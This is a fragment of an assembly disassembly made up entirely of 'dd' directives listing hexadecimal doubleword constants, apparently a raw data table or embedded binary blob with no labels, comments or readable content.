		dd 0F4C68A0Fh, 60278342h, 0D2907348h, 1820F52Ch, 0FF9700DEh
		dd 4EE29511h, 812FCC86h, 27F2F618h, 53974452h, 295FF8A6h
		dd 5CC9EF0Bh, 35AB029Eh, 0F8900404h, 8675808Ah,	2F325779h
		dd 8151604Ch, 5879DC25h, 614E5857h, 0E35FE1FCh,	10562CA5h
		dd 4000DCA5h, 8D51ECA2h, 0BFA67F00h, 1957E6BEh,	20E24E28h
		dd 963B136Dh, 0CFD4490Bh, 0AA825F06h, 0DB7D5F58h, 0D69CAC49h
		dd 1EA95597h, 0F42ABB5Ch, 0D93AF39Dh, 1671819h,	643689C1h
		dd 2EFE8B0Eh, 0C43F5D29h, 90DBBE02h, 0ED7C7C0h,	0BF01F2CAh
		dd 1DAEE2F4h, 25A82CE9h, 0F90B4A4Dh, 0B4FCC10Ah, 7DE17F2Dh
		dd 0E54E3A2Fh, 8208AB08h, 0F1B50956h, 6B5B19C9h, 41E570B0h
		dd 0AF5F4534h, 7961C049h, 4EEC4743h, 0BC50A916h, 627E95A5h
		dd 1291DEC9h, 8D4BF313h, 0AD2B60B5h, 1277B8F4h,	4DA37E5h
		dd 0A8281D4Dh, 69E1B167h, 0CB095D3Ch, 62DF244Bh, 254D5CE7h
		dd 0C4DBDD5h, 397A620Eh, 4DF9275Ah, 0B69316BCh,	1E4F7A00h
		dd 4E559589h, 0F770BA03h, 8832A5BDh, 501D37B3h,	0E8B1DA8Ah
		dd 0DC2F9915h, 54EC966h, 985F0AB7h, 0D384881Fh,	0B097B7BFh
		dd 26CB7D5Bh, 677E3A33h, 0B30A03Eh, 2A0B0FEEh, 571BE467h
		dd 0BD48D84Dh, 80871E7h, 0BF0131C1h, 7D3AAE9Eh,	0C20EE36Bh
		dd 5CDBB70Fh, 8DB72DD7h, 0D978B07h, 0C1B80BD4h,	0A9DE8A17h
		dd 7F6BD271h, 0A2C70500h, 0BF121731h, 52456B0Bh, 8CA5C36h
		dd 0BD9F0669h, 6C4C2811h, 2BA9B55Ah, 7BEBF412h,	3DDD008Ah
		dd 0E3C92CB4h, 0BFB70995h, 5B5528B3h, 0B37978E8h, 0F92DB607h
		dd 0B921A55Dh, 8B3A820Fh, 2CEC5A13h, 0B8EFB9F5h, 0DB2F2F31h
		dd 504B0AD8h, 0F7FFD725h, 8F0078E6h, 3EFD426Ch,	4A0ECCC5h
		dd 3E3CC971h, 0CA039AACh, 24848F31h, 0F5A9F2C8h, 3E34F02h
		dd 0EA5F701Ch, 0CF2A40A7h, 0F9A75AF3h, 0D939AD53h, 955E728Bh
		dd 38AD1613h, 0AF4A5DD4h, 0B52A8929h, 0F16866EEh, 0D6E4DDDAh
		dd 50CB01F7h, 0F2FA1BFh, 37DBA50Ch, 52BB0385h, 0B7B03ABFh
		dd 0B0975B6Bh, 97ED9DFFh, 8FEF0E74h, 63B2D385h,	0AEC0C990h
		dd 30ABFD2h, 9500F9FEh,	1A752DBAh, 1210F14Bh, 0F3AADC63h
		dd 61AA4B51h, 2E212D4Ch, 243D82B6h, 6C929A81h, 3AB54F57h
		dd 4BF482E8h, 375F29CAh, 464CA723h, 0BFE7582Ch,	97EE114h
		dd 7906759Dh, 25EC2E35h, 4DA510C7h, 0C7A140C7h,	0FC05DB5Eh
		dd 304CD976h, 0F2CE73C1h, 950CF778h, 0BDDF1949h, 5E17AD59h
		dd 0EFA00BA7h, 0E822F8D3h, 0B1850009h, 0E23BFFA1h, 5A274984h
		dd 4EA97C2Bh, 87ECA8F6h, 56F001A0h, 26F7E3A3h, 0E8F52Eh
		dd 815BF9DAh, 6A5F8FC2h, 24A5F044h, 0E043B800h,	810C56D0h
		dd 0CC5CEE8h, 9D292F52h, 5F0775DAh, 0B966328Bh,	0EE81E180h
		dd 61902B4h, 79952973h,	0F6F87270h, 68F82D09h, 2ABD8E6Ch
		dd 7F020C24h, 0D14803DFh, 99BE0234h, 0DBFD9E23h, 32898B74h
		dd 37005BF9h, 6A7C10A4h, 0ADA50E2Dh, 1BC0FAD8h,	0F2978AD2h
		dd 0EAA1C207h, 133836Fh, 0E802284Ah, 945C001Fh,	49912999h
		dd 9707B60Dh, 89F0F88Eh, 837EEB51h, 5B77A0CBh, 5FDCB848h
		dd 9D1FD088h, 780E30E1h, 0E061419Ch, 9787C056h,	3A1F006h
		dd 0E84D441Ah, 76B02724h, 0E7728596h, 688B1C00h, 9109774Ch
		dd 1B4E0C15h, 5D387141h, 6574E83Ah, 0C016E11h, 2B594699h
		dd 614E5880h, 0D38FF05Bh, 146A9606h, 72840F4h, 8B41AA11h
		dd 91F15005h, 19C67BB6h, 789967BDh, 30F66E4Ch, 9AF23F40h
		dd 9508D4Eh, 2360ABA7h,	5D8105A8h, 9199009Eh, 1C7B2073h
		dd 900B271h, 8FE741C6h,	0C8158CCh, 4F7439FDh, 0B60C22B1h
		dd 20686E44h, 0E09D4114h, 0C8000EE7h, 562BA504h, 6091B372h
		dd 0EE41D93Ch, 0E8300A53h, 2240117Eh, 811C05D2h, 1EB1AF18h
		dd 98083014h, 4506575Eh, 3004DCBEh, 55E1C850h, 0B14B387h
		dd 0C9C87Ch, 7CF6BF68h,	0F7049B0Dh, 93182260h, 0E0CD17BCh
		dd 679A0C3Ah, 8F0840ECh, 876024F8h, 936AE6B8h, 7D1801C4h
		dd 0EA9D3A26h, 203BC88Ch, 4850ACF8h, 0EC1BC888h, 93881AD0h
		dd 186FBB8Bh, 900F1518h, 0E7187167h, 21C93E6Eh,	0BE5A0139h
		dd 0A7335C7h, 560998C0h, 1C418121h, 4045105Ah, 0B9251BE5h
		dd 44446E7Ah, 16337F47h, 0C501B1h, 0C49CFE66h, 0E603A4ECh
		dd 0F4F9BC67h, 0F555DB5Ch, 0C1718847h, 9A898B41h, 0C0771186h
		dd 0DA06C8FDh, 0CA18751Ch, 21A66008h, 0F7FDB8D5h, 0A1AD5F01h
		dd 3B6F51E6h, 361D8180h, 5BEC20FCh, 0F49B4E0Dh,	0E891F06Dh
		dd 5A3780E9h, 8C45C7BCh, 7F5744h, 9C905A3Fh, 0D96CD7F1h
		dd 7B4E8806h, 0A506670h, 1094F41Eh, 0F2C030ACh,	80F52104h
		dd 0E64622D8h, 0A293A5h, 71582787h, 6C122509h, 80814B00h
		dd 8C57491Ch, 3962003Eh, 3B28A161h, 1903CB9h, 9D956F0Fh
		dd 0C129A07Ah, 750923h,	0DA5E9668h, 0CC1284EBh,	1E925458h
		dd 0C58EF83Ah, 75BEA0A7h, 3A302h, 55BF3E46h, 0FBE661CCh
		dd 0E8599D00h, 5096A01Ch, 0DD9400EDh, 7271150Dh, 450064CFh
		dd 0F7ECD5EFh, 1F8974D1h, 40B22C10h, 8CA0D958h,	0F20FAF11h
		dd 0A00B936Dh, 12C3FE64h, 98F0FFh, 0BE8CD7B3h, 1C947433h
		dd 0F7CF5500h, 0DB904EE0h, 8EC50335h, 0E764A6ACh, 0C8BCF0A7h
		dd 0E10E16CFh, 0E639D071h, 6008B869h, 0C7A721FAh, 9B72AF16h
		dd 0CD00A690h, 71C56ED6h, 0A2C801h, 517B73FFh, 76D83339h
		dd 5A8FE606h, 33409C48h, 0E8496DCDh, 288E2038h,	80F1F590h
		dd 6463E618h, 0E45DBDA9h, 0EBA10F5Bh, 7D0326FFh, 107E5E1Dh
		dd 83B7B00h, 8F124C2Fh,	0C20E7ACh, 6F88C07Eh, 0F77FE6Ch
		dd 3693B500h, 10C8AD86h, 1EC407D3h, 0B0CBF30Ah,	0A202A779h
		dd 0AAC32700h, 0E83593D8h, 0E7090031h, 9296C4C5h, 0A3006BE4h
		dd 0CE1BA429h, 36CD826h, 0B8DEC6ACh, 7CA8E193h,	0BE286F0h
		dd 0CF4F3500h, 0D1C17871h, 542B005Eh, 51245975h, 813E61B9h
		dd 353E747Eh, 335B1D4Bh, 3067B300h, 746DCFC1h, 64D00A36h
		dd 1FC08280h, 612B0333h, 59E15522h, 0D018E138h,	0EC014981h
		dd 0D5E17F64h, 45E93B6h, 54C684EFh, 42ED20D0h, 0E2C13F62h
		dd 3E6CB500h, 0B1AAACB7h
		dd 11E72F00h, 0D15E8468h, 0C44E00AEh, 90D4B8Ch,	0D9005F81h
		dd 0EFD66BC2h, 1E9A3669h, 407BB71Ah, 0B6CAE65Bh, 427B1E53h
		dd 0A502050Fh, 0E910C072h, 0D8FD92h, 24A1138Ah,	44874220h
		dd 6E2A9901h, 0EE71250Dh, 0DF60F7F5h, 7821001Ch, 324BF067h
		dd 4E0E10A4h, 0A09CCE41h, 398A89C5h, 874A0303h,	0ABBB4CA6h
		dd 4442D600h, 0B3E25165h, 0A50A00D8h, 1ADEEB6Dh, 0FD143716h
		dd 3B849482h, 0D81E7050h, 700BC4A9h, 308700A2h,	0AE1748h
		dd 1BDB2B51h, 22E2657Ah, 0DFC0FB60h, 707AF40h, 64380872h
		dd 57A300D8h, 92CE4A2Dh, 1F872484h, 0B688A0h, 0D1FD688Eh
		dd 0CBBBF7E4h, 1A133C0Fh, 0B7E5402Eh, 71D4577h,	0BF01313Fh
		dd 4F8A70F5h, 0D4A8AD73h, 650066F0h, 1C2D1AEBh,	95D240h
		dd 5117FA42h, 444CC90Fh, 0A5C33Bh, 0FE338A28h, 560EA2h
		dd 9F2FB7EBh, 8FEA061Ah, 867E923Dh, 5DA8F641h, 3E2D14C8h
		dd 0BC4B0EFh, 0DB8E00E7h, 7C4E9A4Ah, 0ECFA9Dh, 4480B114h
		dd 0D9100104h, 2A58F0C7h, 15A483F1h, 4243C040h,	0D38B00C5h
		dd 92C48AD2h, 0C600CA73h, 0E3D635E4h, 0E26657A0h, 81A00EDh
		dd 4CFE5A78h, 19025383h, 0E5AD98C0h, 0B75048C8h, 8AD300FFh
		dd 97EDAABAh, 69004A96h, 84DFB494h, 4C28E7h, 0E4087406h
		dd 80203B7Dh, 427C0BFh,	40AF0022h, 43A6A92Ah, 4FE6B023h
		dd 0B69F981Dh, 0D6063580h, 9A8EE0h, 3BF80BDEh, 0AD268718h
		dd 12445A00h, 0EA7C2315h, 79E40013h, 4AF92A1Ch,	0FCEF778Eh
		dd 9724420Eh, 7839523Fh, 5B0F0200h, 55C83E9Fh, 2A97208h
		dd 4AABA8F1h, 0A4E06538h, 23B5964h, 273501D2h, 0BE9C320Dh
		dd 81C424h, 6A603097h, 0F7255BEBh, 76BD6E00h, 0EAB19F29h
		dd 0A6D03F1Dh, 9DCF1400h, 95AAC9D6h, 0A2C13E00h, 99B9468Dh
		dd 6E6D0088h, 643B7712h, 0A8006FDDh, 3426438Bh,	92E5D339h
		dd 6CFCF8h, 0D1E042BAh,	5A76601Ah, 7D03BFF0h, 5EB2412Fh
		dd 699C69Fh, 62E5AA3Bh,	0C6120CAh, 550E4908h, 0C2E19C21h
		dd 39117F0h, 566DF65Dh,	400EA578h, 7C8764DCh, 0DFFFD300h
		dd 1D49D239h, 8357568h,	1A870C21h, 885D5EC0h, 6F3A7450h
		dd 85B0002Fh, 6AFD28ABh, 0BA008175h, 0BE143039h, 8D9F12h
		dd 207A9617h, 1CC56FB7h, 0E5A03B0Ch, 472A00Eh, 2312DD0Ch
		dd 562490E1h, 2800607Dh, 0C6481A79h, 0A90155h, 466D0CE0h
		dd 40B7B96h, 0AE000EEAh, 0BF7594ECh, 7F4A2260h,	25983ED6h
		dd 9C516480h, 0C08FA96Eh, 7E79691Fh, 0FA5D007Eh, 0ECBF35CCh
		dd 1727002Fh, 18C00DE3h, 0D2001C6Dh, 5AD32159h,	0B87F900Fh
		dd 292B00A5h, 0CA8742Dh, 861EEF45h, 0E18EBFDEh,	8084B424h
		dd 11967673h, 806E500Bh, 8A66612h, 527C2188h, 0AD8A9607h
		dd 85E0FA46h, 44DEEE23h, 0F100B78Bh, 139DC6B3h,	194AA7h
		dd 891AD063h, 0DCC723A8h, 0A08B449h, 0F8C559B0h, 0D42050B9h
		dd 63C94000h, 1E7C5A05h, 5062019Dh, 0B1A888B8h,	0B7E0406Bh
		dd 0C92A4CB6h, 7500B4D6h, 0C80A157h, 1DE5C072h,	18BFFA54h
		dd 0F2221E8h, 88F6A100h, 7D14A90Eh, 8FE000C8h, 0EADF7FB5h
		dd 5C63D3DDh, 0A0479381h, 0C0E4AC06h, 7B1DC111h, 2148263Ch
		dd 95E3318h, 0A12100BDh, 8D8F7B25h, 840E4FFDh, 33F75F46h
		dd 5D813E18h, 20E30013h, 88758E6h, 261C14FCh, 9400DF79h
		dd 0EEB7A84Dh, 88736062h, 74E90886h, 0CE2BC3Eh,	188E4F0Eh
		dd 4C071B83h, 1810A068h, 2C00EF27h, 8AFE395h, 771D39F9h
		dd 0B440EB48h, 2BE4C301h, 54151E2Eh, 0A70940A6h, 0B31003ECh
		dd 2043900h, 0AFB266D1h, 3557418h, 80A917B1h, 20986D16h
		dd 9400259Eh, 0AA6A89BEh, 148972Eh, 332DA558h, 0D4DB0E7Ah
		dd 89399CD2h, 92F900ECh, 2E183AE2h, 0FCBD1CA0h,	761807Ah
		dd 0C6058F3Dh, 0C5F47801h, 6E9E088Eh, 7980E6F0h, 18950040h
		dd 5E36FD3Ch, 107AF5Ah,	9906DCB2h, 7E43E510h, 9A181880h
		dd 3C720F4h, 81FBBA80h,	4CEFD028h, 9A11C160h, 3B35A3Dh
		dd 0E97DAF43h, 8303F3Bh, 45842194h, 7F51005Ah, 0C866950Bh
		dd 0E8240CBFh, 0F61EE146h, 0EF54A0B0h, 1A9F4052h, 70E5A530h
		dd 0B82C6847h, 0B26D003Ah, 0CB751FC9h, 6A1B96C8h, 2398F82Bh
		dd 480EEA90h, 4744045Ah, 81229562h, 0B8FE6350h,	0E74DFAC2h
		dd 1EC51980h, 90B3F0A8h, 4374A30Ah, 8420E2DEh, 86BDED80h
		dd 99F7201Eh, 0A9252200h, 0FAEE6D2Fh, 0B52D0023h, 43D8926Fh
		dd 9E48BD1Bh, 0A0DF0172h, 20C8190Ch, 8072C76Ah,	0BA84E386h
		dd 24C0E200h, 23FCDDEBh, 3AEE895h, 4BEDE01Bh, 21A87814h
		dd 0D30390C3h, 0D6403993h, 4655B015h, 59700D7h,	0BCAC84E8h
		dd 0DD00340Fh, 75317A4Dh, 0C0EF2630h, 0EE7E0E38h, 0C41268CEh
		dd 7600AA70h, 24694D1h,	79C000ACh, 915DC741h, 0ED7B135Eh
		dd 6750B707h, 0D9F0D045h, 30FD9EACh, 5B88B2A9h,	2B663261h
		dd 0E618A28h, 0B5675222h, 6CD53098h, 3E1F3604h,	97C0BCFCh
		dd 3A95123h, 4D6D5E8Dh,	83C3F7D5h, 1771000h, 7B4AD44Bh
		dd 903200AEh, 160C8CE2h, 0EB006997h, 0F103DC52h, 30FBA94Ch
		dd 0E371D2A3h, 630586F6h, 0FEFC4EDDh, 8926DB83h, 0F0E85DC4h
		dd 0DD50043h, 6AE1C322h, 503E4A37h, 0E3307351h,	0A881087h
		dd 9154066Eh, 5926A2FBh, 39E17230h, 1D68B42h, 0D3AE894Eh
		dd 0ECC6E396h, 950CC077h, 29BC72F0h, 0C20B074Ah, 60F88545h
		dd 0AFAA681Ch, 7FA03C00h, 305A64B5h, 9C7850DAh,	7184076h
		dd 2B0091F2h, 0E8217D20h, 0C174C8h, 0F0C0F214h,	2E7AEE4Eh
		dd 7EF6C00h, 6739C206h,	0B3A83C95h, 0F27F7700h,	6D8380BDh
		dd 9432030Ah, 0C31EDFB1h, 0DD6365CFh, 0FE899F84h, 68064180h
		dd 58D60099h, 8634DBB7h, 800FBB2h, 0F82C593Ah, 8B042Ah
		dd 9B48C0BFh, 24E70EE4h, 0CC44E601h, 0BE89F8F5h, 3A0089BEh
		dd 0D058B14Ah, 0A050F67Eh, 30C039DDh, 68ED3435h, 0DC5005Ch
		dd 3F0FF4DEh, 10069F8h,	6B2A505Ah, 1D7EF651h, 8149B333h
		dd 0DA313F61h, 0CB198838h, 2DDE80FEh, 0EBE77024h, 68934202h
		dd 908DF7EFh, 0C2FDE88h, 0CA5F67C0h, 35006810h,	3EE1955Ah
		dd 13AFD23h, 0DCE89A9Eh, 0D4F05075h, 7688B1Dh, 0EC00FC48h
		dd 0D03BC8C7h, 23CB0F6Ch, 0E860A8DAh, 37C29321h, 0AE80F800h
		dd 6D2936B3h, 0E02800C5h, 41AB6871h, 330EA0B7h,	5D23F467h
		dd 0D925520Eh, 0D9409848h, 3AF2C6CFh, 8600E532h, 997152D7h
		dd 8A0F5868h, 800639B0h, 0F5D46FF6h, 163E866h, 5229231Ah
		dd 0F060CB3Bh, 3304961Bh, 2772535Fh, 0DABD69C1h, 698F24C5h
		dd 96E03D0Ah, 0FD77729Bh, 0C4C83F61h, 0D18041A3h, 0AC307169h
		dd 282E920Eh, 0C701E022h, 17A4BE96h, 0C4E2A08Eh, 6731C5CCh
		dd 7461803h, 86DA6FF7h,	0C6D60069h, 899E7BBFh, 970CA09Fh
		dd 0F8D0EDDCh, 0B39006Ch, 6AD415FAh, 4B13A20Ch,	0EE00DF93h
		dd 0E05BD909h, 0E0300B8h, 0B1C7204Dh, 9E0068DBh, 832481A8h
		dd 174EA87h, 459B0F6Ah,	0E03E147Ah, 0E6E8BC73h,	51221500h
		dd 0E7039513h, 4FB30940h, 0CA0674D2h, 697A18A4h, 16B73301h
		dd 9C4A773Dh, 786676E0h, 0CE2B180Bh, 4514296Eh,	0F722918h
		dd 0EDA1FB60h, 1E5160h,	715E14Dh, 495543Fh, 5D6F600h, 0FAFC911h
		dd 7A30C3D0h, 282133BAh, 26BC0037h, 0AF9DE727h,	8C3ECA7Ch
		dd 637860F5h, 0E7B9E63Ah, 8C1CD1A1h, 34193B67h,	0A9C0CA60h
		dd 0A3DEF1Fh, 0F4A1DE24h, 0E377034Ch, 0C00C0C89h, 0B861FA93h
		dd 0B3C485F4h
		dd 81B9D140h, 0A01DCFD7h, 46C1E416h, 513C3A3Bh,	7E142080h
		dd 3EF7FA6Fh, 3213670Fh, 240D80F6h, 7F8DE006h, 0B143671Ch
		dd 0E09DB73Bh, 0B81F1AF4h, 4C88500h, 6BCBEBBAh,	6F51C638h
		dd 7F0731A8h, 77D1A929h, 79BCE7C0h, 0F638000Dh,	9F5C7BD0h
		dd 1B06A26Fh, 271364FEh, 79C0079h, 9FD7CB17h, 1B5052EDh
		dd 944CDA0h, 12BB2669h,	0BC3D0000h, 0DCAB2245h,	10264300h
		dd 3C25944Ah, 0B092F6A4h, 0E7AF0C54h, 0DE797BBAh, 0A8F2C514h
		dd 1352224h, 6F921D43h,	0D15CF1A6h, 3C18059h, 3885E4B9h
		dd 0F3FC35h, 9119F4E8h,	0D70E18B0h, 5D5CDD00h, 61D1CFD2h
		dd 0F9CE008Ch, 0F1860D53h, 0EF14C714h, 0C4B55Bh, 5FDBA069h
		dd 74271EC1h, 0A449018h, 3C9A6022h, 9DC7809Ch, 0B247E785h
		dd 34009BE2h, 0CDC4D3C6h, 0E0955832h, 12AD7C93h, 0BEA6B3h
		dd 3A57F5FEh, 0C000D343h, 0F9EFB4E6h, 515EA07h,	0D6CFFBDDh
		dd 0AF298061h, 3E603CA5h, 0ED1A1669h, 0ECEA3145h, 8175B370h
		dd 1EE01DF1h, 0AAC4BCEBh, 98771D1h, 654AB39Dh, 0C7C06C0Fh
		dd 29F1AFA6h, 2834FB48h, 0F60B0BCh, 0E8DD6741h,	0C68DF3Dh
		dd 2D19AFC6h, 0A748E590h, 9B607F64h, 8EFB5E89h,	96EA009Fh
		dd 0F3E18736h, 2A3B8AD7h, 9E6D8058h, 6FAFA251h,	0E00F50FFh
		dd 8B4900D8h, 17F88FB2h, 29003D43h, 1A269BE0h, 8D7F46h
		dd 0CF4A2B19h, 95A563F3h, 1D640D4Ch, 4400F1F2h,	1711C39Ah
		dd 0FB6D013Dh, 2B704E40h, 80DBD141h, 0CE238121h, 695132h
		dd 0CB5A9487h, 76EAB0A5h, 0A3CF8E01h, 0AB959834h, 9A45E0h
		dd 1C570BE3h, 0F7AC4C7Ah, 0B5A30E00h, 8312055Dh, 6DE40314h
		dd 179F95AFh, 0F1906064h, 3CE80863h, 448CF36Dh,	1A0F4C3Eh
		dd 0A2F0AF17h, 0F7CBC81Ch, 61EE5E60h, 0E3034FECh, 764D446Eh
		dd 57910078h, 82D07C32h, 731BD50Ch, 67309C9Bh, 41F42028h
		dd 826AB841h, 91D84E11h, 0AEAF8037h, 0CC9F243Fh, 2D516008h
		dd 3191F000h, 0BE4443Eh, 0AC985454h, 42048CE7h,	436D3617h
		dd 3220D162h, 0FAA4171Ch, 3404F043h, 4485298h, 80B1B0h
		dd 0A8E69A7Fh, 4811C08Dh, 5B7BF9DAh, 0E7AEC200h, 65FFF0Ch
		dd 0CB4F1C7Fh, 0D524407Eh, 44476163h, 8D00867Ah, 0ACD7B578h
		dd 902C02h, 0FB837F37h,	82F7B4CDh, 80CA6C3Fh, 0A943F42Ah
		dd 78E870h, 7329EEF3h, 6A462664h, 17546D00h, 6384DB9Ah
		dd 0A0AB3A49h, 214EED00h, 0C4532065h, 644BC103h, 80D0A777h
		dd 9B5E68h, 1CDBE6D5h, 7966AD7Eh, 610EA9B0h, 60AAD23Eh
		dd 41296EFAh, 209A1DC9h, 425EC64Ah, 1300A26Ch, 0E7E05768h
		dd 89FB62h, 3B0212BDh, 0CF4D78B0h, 0D7A19905h, 0E81998F1h
		dd 45BC111h, 0A5460E83h, 2A103Fh, 47E8E155h, 914508h, 3B8AD983h
		dd 16BB2FB5h, 25C3DD02h, 8078FE67h, 0D20D02F6h,	3BBE0064h
		dd 0DD4FED69h, 0E00756Fh, 91264986h, 0B515EBh, 0D8F7A211h
		dd 0CCD2B8Eh, 3CCA7A00h, 0D52FAF5Eh, 7F73D2h, 2C3D44D3h
		dd 1AF1618Eh, 0D615BA0Fh, 685A80C2h, 98EE9Ah, 0A39CE8B2h
		dd 940604DFh, 3B193Eh, 0A4C24331h, 12045BBh, 0EC71BF8Fh
		dd 0FC1A248Eh, 620037B9h, 0DBC61978h, 0E5B72Ch,	3CB88D08h
		dd 887BD429h, 0F826C400h, 9B7FE6B2h, 3E8900FDh,	2209BF35h
		dd 740C4185h, 682A2D93h, 81A000B9h, 0ACDE179Dh,	0F53073BFh
		dd 0E22231A2h, 0E071003Fh, 8402BBEAh, 0FB005AEBh, 0BF4093B4h
		dd 0C4D168h, 0E7B75EF3h, 4A0A4C1Eh, 41C79D0Eh, 533507A6h
		dd 0C2458BC0h, 18E17B79h, 10731D0Eh, 0D801F97Eh, 0CF2B9738h
		dd 0E0D0A033h, 0A3D400C8h, 0C9F21F5Bh, 8414E71Eh, 0FE89EB3h
		dd 80A48F23h, 63EF3489h, 455E00D4h, 0C20AD73Ch,	0ED00274Fh
		dd 56CA38B1h, 1640401h,	31A3301Fh, 0F86BCFD6h, 0B2FE9D53h
		dd 85F46500h, 2068FA8Dh, 0FE665016h, 0F03A1FD2h, 40A0122Bh
		dd 0AECAD628h, 9F00BD44h, 0D4F2362Fh, 0F1A842h,	0F72B12C9h
		dd 0BFB37721h, 8FA91B00h, 0A401725h, 9F680065h,	6C1587CFh
		dd 5F5C6BE9h, 648E002Eh, 7AC1AF7Bh, 97E6A3h, 1C211F8Ch
		dd 255399EAh, 8A073F79h, 0AF8E6614h, 0F31F400Fh, 0E3C3F6h
		dd 0DF8BA67Ch, 6BF7056Fh, 43B9DB00h, 984682A4h,	8784A807h
		dd 6E531FDEh, 4E7F1EFAh, 1AA0BD55h, 75779BC4h, 73C24702h
		dd 409A2841h, 0D8A598h,	0F0CF7A92h, 0F85F2360h,	225C42FEh
		dd 85DA07DAh, 1BD18479h, 99F83643h, 45D500A0h, 76A2DD1Ah
		dd 66144DC6h, 82B52Ah, 1D0591BFh, 7AE98FEEh, 32BA06E3h
		dd 18905C44h, 0E55DE71Ch, 273EFD81h, 0D0F98908h, 0BEF6C040h
		dd 2CAA4820h, 0BD95A400h, 3AFA63DAh, 0D02E7D00h, 0C37F86Bh
		dd 45EA0338h, 54E60908h, 69533298h, 99B4A600h, 0A21D27B5h
		dd 221A183Bh, 6494A6A7h, 557DE62Eh, 0D5181704h,	899014C0h
		dd 0C98700DCh, 9A698E19h, 11004379h, 0CE39C10Ch, 723C88F4h
		dd 39B076F9h, 3500EC01h, 0C181575Fh, 46003AD0h,	3779A184h
		dd 7270BD05h, 916A0033h, 0E416C209h, 84A37E59h,	0FF07FA98h
		dd 1CD70103h, 0C5E047D6h, 61C3E000h, 63E449h, 50A969F1h
		dd 319542A0h, 2C200460h, 8886BCh, 0B17BD565h, 102F7E4Ch
		dd 0A46F1400h, 0E947EB0Bh, 80CF4C85h, 0BFCB9081h, 24D8C939h
		dd 77038658h, 5491F7E7h, 0F9CCD05Eh, 4C4B39BCh,	5DE04280h
		dd 0EABB1A3h, 3FADA100h, 1A254D3Dh, 7EC40040h, 1B69C684h
		dd 0DF3A9D1Dh, 2B900B97h, 2A1A005Eh, 6E73CDh, 583A3FE9h
		dd 0E72634CFh, 4896A404h, 6D808232h, 9F41DAh, 9B047560h
		dd 0E3EA1ED6h, 68C2500h, 0E6FA2B6h, 5C8700BAh, 3B140B2Eh
		dd 0F0099ECh, 0D7F9653Dh, 0F62CD4Fh, 1C419B96h,	0E786405Dh
		dd 0AF716A5Fh, 75E1170Fh, 687EE054h, 0F0D29483h, 48E400FDh
		dd 0F0BAA2BCh, 0CE00EE78h, 0FF99D46Ch, 3288B92h, 8036E130h
		dd 0BCB81E57h, 0CE001521h, 65CA69B4h, 0EF37ADh,	8BA4D86Dh
		dd 7A22AB2Ah, 7CB65600h, 75AD50B8h, 0AFAE09BFh,	0BC0391Fh
		dd 8E005E3Dh, 0DAEEE1E5h, 0EBF7269h, 0D3716BF1h, 14B32FE0h
		dd 2601F27Eh, 434AD688h, 449CE921h, 0D562C0FAh,	0A6638B0Bh
		dd 8A08F400h, 2668417Ch, 9EDB0042h, 0E0E962B9h,	350E5F57h
		dd 80C024BDh, 0A06AF93h, 396E0B6h, 0D7332CEBh, 0EEA89DCDh
		dd 0FC098B8Eh, 29E2B8F7h, 4A0D0010h, 16E1CCh, 8DAA6ADCh
		dd 26189CA9h, 3F36091Dh, 0B73C1BC0h, 8070A8h, 0BA6F9D05h
		dd 0E2B0733h, 6A5856FEh, 3C9E0194h, 947A374Bh, 43C6F4h
		dd 8782AA42h, 18AC2D4Ah, 2804757Ah, 12A23302h, 0E713E0D1h
		dd 0C673E0h, 58E1EA3Dh,	0B0A2DA02h, 34CD0300h, 0A63653D9h
		dd 0A156001Ah, 26D5891h, 2C016AB6h, 1990C242h, 35308222h
		dd 0F5EB0489h, 0C32EFC4Ah, 0ABD0E458h, 0A200CC46h, 28480B5Eh
		dd 70A3FFh, 0FD31C0AEh,	0BB7AD2A8h, 6004075h, 973FB83Dh
		dd 123FC12h, 58F85AB1h,	0EC64E072h, 821D4C96h, 27D1917h
		dd 0FDD7E207h, 7143DDh,	0BF91C129h, 0E1859417h,	8DFB0B16h
		dd 45CC0880h, 0EA2C3FBCh, 0F5F61D81h, 608E3712h, 5F002DCFh
		dd 1ADEFE97h, 17008EBh,	6B4F690Fh, 0C8B0CCCBh, 4400685Ch
		dd 86518C42h, 24F38Ah, 37487D2Ch, 29B9300Fh, 0E920D100h
		dd 5574E1C5h, 0E5B500C8h, 0DED65AD4h, 4800CD33h, 81204684h
		dd 15B9DCBh, 2EE1E706h,	20494A86h, 3E26BB96h, 0F03FC898h
		dd 120F7A70h, 0E07265D0h, 0ECFC609Ch, 0D5580BABh, 60013034h
		dd 0CC3169D9h
		dd 0B200822Fh, 95730653h, 0A47C42h, 64FC4376h, 56A3A844h
		dd 7E1D5C00h, 0E7837191h, 0E4BF0E92h, 66C017A6h, 0C35B2F4Bh
		dd 35E3BE00h, 0D73D779h, 76E000A1h, 5827AD75h, 96262DCBh
		dd 3B093195h, 99F5000Ch, 4C610412h, 725819h, 0B2AE8206h
		dd 9850BB45h, 46DC6A0Eh, 0CAA7A18Ah, 10206ED5h,	58FA25h
		dd 838E69B2h, 795E0ADAh, 0E0A1F63Dh, 33092188h,	3CD80014h
		dd 0A89A1826h, 43006460h, 885FD22Eh, 9098EB8Fh,	36AF02A0h
		dd 75726116h, 0E850E069h, 0D800B709h, 92B447D4h, 0A85164h
		dd 0D176754Eh, 0D5A5748Fh, 0C878B204h, 0F1C0AAFDh, 4BA125h
		dd 20310CC7h, 1EDFFE85h, 0F41F1BE6h, 6E12F52Eh,	6A996080h
		dd 0C0E00089h, 856C4DA2h, 1AB0FBC5h, 0DD6E90C7h, 0A1C0B884h
		dd 94D22920h, 5F540080h, 85D0F4A5h, 0F0F52D09h,	3F800084h
		dd 7218A70h, 86562AE0h,	0FC26006Fh, 51D89089h, 0E9D3EC60h
		dd 83284040h, 0DA6601C3h, 0B91D8CBDh, 2CF8F717h, 4100B7DBh
		dd 0ACECAD20h, 48DEF3h,	9E4FD599h, 0D46D6222h, 0B08C90C0h
		dd 1F172685h, 0C078A514h, 0BE469CBDh, 92073807h, 98962F63h
		dd 0CB15C0CFh, 0F8D66D1h, 79955C09h, 0C0135F7Fh, 78EA8381h
		dd 0C00EE8Bh, 27D12B56h, 3C9C23h, 0FFF9F393h, 0BED47C62h
		dd 80FA0938h, 0E323ECDDh, 0FC880Ah, 0A63598F6h,	0EFBD28CFh
		dd 0DFDCBB00h, 68EBE9DBh, 0EA030067h, 4BFA1751h, 0DD1CEF4Fh
		dd 33C5E4FCh, 94D06495h, 11DE06Fh, 0A262F206h, 346E525Ch
		dd 2407DCACh, 9E7CB261h, 0A7F05BC2h, 8B74110Ch,	31624C48h
		dd 781884F6h, 42876D31h, 622F340Ch, 1DB720Dh, 4825F96Eh
		dd 5F5478D0h, 1C0040B4h, 6DA833A4h, 0CB741653h,	5A032220h
